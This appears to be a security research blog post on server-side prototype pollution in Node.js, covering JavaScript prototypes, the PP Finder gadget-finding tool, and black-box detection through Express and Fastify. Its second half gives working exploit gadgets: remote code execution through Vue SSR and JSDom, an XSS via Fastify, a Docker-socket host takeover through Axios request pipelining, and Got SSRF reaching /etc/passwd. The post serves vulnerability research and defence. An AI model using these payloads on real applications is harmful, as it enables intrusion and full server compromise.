Server side prototype pollution, how to detect and exploit

February 15, 2023

code

Today, we will dive into the world of prototype pollution, focusing on server-side exploitation. Although this attack has become more prevalent for client-side or open-source applications, it can still be challenging to test and exploit in a black box scenario. In this blog post, we’ll first explore how prototypes work in JavaScript, then examine methods for detecting vulnerable websites and finally finding gadgets in popular libraries to develop a working exploit.

Prototype pollution?

To have a comprehensive understanding of prototype pollution in JavaScript, it’s important to first grasp the concept of prototypes in the language. JavaScript is an object-oriented language that heavily relies on inheritance. For example, where does the method hasOwnProperty come from in the following example?

const x = {a: 42}

x.hasOwnProperty("a") // true
x.hasOwnProperty("hasOwnProperty") // false

When you try to access a property, JavaScript first looks at the object itself and checks if the property exists. If it exists, the value of this property is returned. If not, JavaScript looks if the same property exists in it’s prototype. This process is then repeated until the property is found, or when an object doesn’t have a prototype anymore.

This method actually comes from the prototype of x, which is Object.prototype.

You can access the prototype of any object via the magic property __proto__.

const x = {a: 42}

typeof x.hasOwnProperty // "function"
x.__proto__ === Object.prototype // true
x.__proto__.hasOwnProperty("hasOwnProperty") // true

const s = "test"
typeof s.hasOwnProperty // "function"
s.__proto__ === String.prototype // true
s.__proto__.hasOwnProperty("hasOwnProperty") // false
s.__proto__.__proto__ === Object.prototype // true
s.__proto__.__proto__.hasOwnProperty("hasOwnProperty") // true

The Object prototype is shared accross all objects, that mean if we modify it, it will affect all the object that use it.

const x = {y:42}

x.y // 42
x.z // undefined

Object.prototype.y = 'hello y'
Object.prototype.z = 'hello z'

x.y // 42
x.z // 'hello z'

In this example, the value of x.z is ‘hello z’ because the property z doesn’t exist in x but exists in the prototype. This is an important aspect to understand when it comes to prototype pollution. If an attacker can modify the prototype, they can affect all objects that inherit from it, which can lead to dangerous and unexpected consequences

Let’s look at a vulnerable code example:

const config = {
//allowCMD: true
}
const users = {
"guest": {name: "guest"},
}

function updateUser(username, prop, value){
users[username][prop] = value
}

app.route("/update", (req) => {
const {name, prop, value} = req.query
updateUser(name, prop, value)
})

app.route("/eval", (req) => {
const {code} = req.query
if (!config.allowEval){
return req.status(403)
}
eval(code)
})

In this example, submitting a request with name=__proto__&prop=allowEval&value=true will update the prototype of the users object with allowEval=true. Since the config and users objects share the same prototype, the next time we try to access the /eval route, we will be allowed to run arbitrary code.

The /update route is vulnerable to prototype pollution, and the /eval route is what we call a gadget. A gadget is essentially an access to an undefined property of an object. Since prototype pollution attacks allow for custom attributes to be written in any object that is not set, these undefined properties can allow an attacker to reach critical parts of the source code and change the behavior of the application.

Exploiting prototype pollution occurs in two parts. First, a way to write to the Object.prototype must be found, and then gadgets that can be used must be identified. This is similar to PHP unserialize gadgets. While these gadgets are not vulnerabilities themselves, they can be used to compromise a target if unserialize is used in an insecure way.

How to find gadgets

PP Finder

PP Finder is a tool that simplifies the task of finding prototype pollution gadgets in a JavaScript codebase. It is designed to facilitate the detection of these vulnerabilities by analyzing all the JavaScript files present in a given directory, and producing a instrumented version that highlights the potentially vulnerable sections of the code.

The tool works by using the TypeScript parser to generate an Abstract Syntax Tree (AST) for each file. It then modifies this tree by injecting hooks that will detect if an undefined property is accessed. Once the modification is complete, the original file is replaced with the modified version that contains the detection hooks.

By modifying the AST, PP Finder is able to detect a wide range of prototype pollution gadgets that might otherwise be difficult to spot.

Once the hook process is complete, you can run the code just like before, and PP Finder will report any potential gadget and provides the location of the relevant sections of the code. With this information, you can analyze the gadget code and determine how it can be leveraged to achieve arbitrary code execution or other malicious behavior.

code

Detecting Server Side Pollution

Detecting prototype pollution without access to the application source code can be challenging. Previous research has focused on polluting methods such as toString or valueOf to trigger a crash. While this can be a way to check for proto pollution, causing a crash might not be the optimal solution for everyone.

With the help of pp-finder, we targeted two of the most popular web server for node in order to find a way to detect the pollution without the crash. Here is our findings.

Express (4.18.2)

Express is by far the most popular nodejs http server. By default express use some basic caching mechanismn that can abused in order to check for PP.

When we send a request with the ‘if-none-match’ header, we expect to receive a 304 not modified response.

request if none match
request pollute

To verify whether the pollution attack was successful, we can resend the initial request. If we receive a 304 response, it indicates that our exploit did not work. On the other hand, if we receive a 200 response and the etag matches, it means that the website is vulnerable.

response

⚠️ It’s important to note that disabling the cache in this way can affect the experience of other users.

Fastify (4.13.0)

Fastify is another popular HTTP server with a focus on writing API server, most of the time using json as data encoding.

This is normal ouput for /

fastify

Now we try to add Content-Type: application/json; polluted=true

Fastify

If the exploit is successful we should see polluted=true in the response content-type.

⚠️ If the application expect something else than JSON as input, this will probably make the application unusable.

To leverage our ability to detect server-side prototype pollution, we must now create payloads that can be used to exploit vulnerabilities in popular JavaScript libraries.

Generic PP exploits

Here is a collection of gadget we found using PP-finder:

VueJS ^3.2.47

RCE using ssrCssVars, this variable is used in a call to Function, allowing arbitrary code execution.

const { createSSRApp } = require("vue");
const { renderToString } = require("vue/server-renderer");

Object.prototype.ssrCssVars = `1}; return _push(process.mainModule.require('child_process').execSync('id').toString())//`;

const app = createSSRApp({
template: `<div></div>`,
});

renderToString(app).then((html) => {
console.log(html);
});

JSDom ^21.1.0

RCE if <script src=> is present somewhere is the html.

const { JSDOM } = require("jsdom");

const payload = `console.log(
this.constructor
.constructor("return process")()
.mainModule.require("child_process")
.execSync("id")
.toString()
);`;


Object.prototype.runScripts = "dangerously";
Object.prototype.resources = "usable";
Object.prototype.url = ["data:/"]
Object.prototype.path = ["#"]
Object.prototype.username = `application/javascript,${payload} //`

const dom = new JSDOM(`<script src="script.js"></script>`);

RCE if an iframe is used:

const { JSDOM } = require("jsdom");

const payload = `console.log(
this.constructor
.constructor("return process")()
.mainModule.require("child_process")
.execSync("id")
.toString()
);`;


Object.prototype.runScripts = "dangerously";
Object.prototype.resources = "usable";
Object.prototype.url = ["data:/"]
Object.prototype.path = ["#"]
Object.prototype.username = `text/html,<script>${payload}</script>`

const dom = new JSDOM(`<iframe src="/frame"></iframe>`);

Fastify ^4.13.0

Almost universal XSS

Object.prototype["content-type"] = "text/html;json;";

json

Axios 0.27.2

We didn’t found a way to change the host or the path of a request made with axios. However we found that it’s possible to force axios to send the request to a local unix socket.

We also found a way to change the body and the content-length of the request.

As it is possible to write request body, headers and socketPath, we can use HTTP pipe-lining to write a completely new request within the body of the initial request:

Here is an RCE using docker.

import axios from "axios";


// Create a container
const body = JSON.stringify({
Image: "alpine:latest",
Cmd: ["sleep", "60"],
Volumes: { "/host": {} },
HostConfig: { Binds: ["/:/host"] },
});

const createContainer = [
"POST /containers/create?name=exploit HTTP/1.1",
"Host: foo.bar",
"Content-Type: application/json",
"Connection: keep-alive",
"Content-Length: " + body.length,
"",
body,
].join("rn");


// Run it
const startContainer = [
"POST /containers/exploit/start HTTP/1.1",
"Host: foo.bar",
"Content-Type: application/json",
"Connection: close",
"Content-Length: 0",
"",
"",
].join("rn");

// Redirect query to the docker socket
Object.prototype.socketPath = "/var/run/docker.sock";

Object.prototype.data = "1" + createContainer + startContainer; // HTTP request pipelining

// Add headers to all requests
Object.prototype.common = {
Connection: "keep-alive",
"Content-Length": "1", // Spoof the Content-Length to do HTTP request pipelining
};

await axios.get("http://localhost:31337/");

Or you can always use HTTP pipe-lining without the unix socket to craft arbitrary request on the original host (here localhost:31337)

Got 11.8.3

Got is another another http client, that can be use to perform ssrf.

// Override raw body ( affects Content-Type & Content-Length)
Object.prototype.body = "foo";
// Override json body ( affects Content-Type & Content-Length)
Object.prototype.json = {foo: 'bar'};
// Override connect host/port/path/search
Object.prototype.host = "localhost";
Object.prototype.port = 31337;
Object.prototype.path = "../../../etc/passwd";
Object.prototype.search = "woefijweofij";
// Creates basic auth
Object.prototype.username = "user";
Object.prototype.password = "pass";

Any other lib?

Maybe you will be able to find other gadgets using pp-finder, let us know!

Conclusion

In conclusion, prototype pollution is a dangerous vulnerability that can be exploited in various ways to execute arbitrary code or take control of a web application. Our pp-finder tool can help detect potential prototype pollution issues in a codebase, and we have demonstrated how to detect server-side prototype pollution in popular Node.js HTTP servers such as Express and Fastify. With this knowledge, we can begin to craft payloads that can exploit popular JavaScript libraries to perform prototype pollution attacks.

However, we would like to emphasize that this information should only be used for educational or research purposes with prior consent from the target. A prototype pollution can have a large variety of unexpected side effect, therefore it’s recommanded to avoid testing for it directly in production…

If you would like to learn more about prototype pollution or try our pp-finder tool, please visit our GitHub repository https://github.com/yeswehack/pp-finder.
You can also read this excellent article by Gareth Heyes, researcher at PortSwigger: Server-side prototype pollution: Black-box detection without the DoS.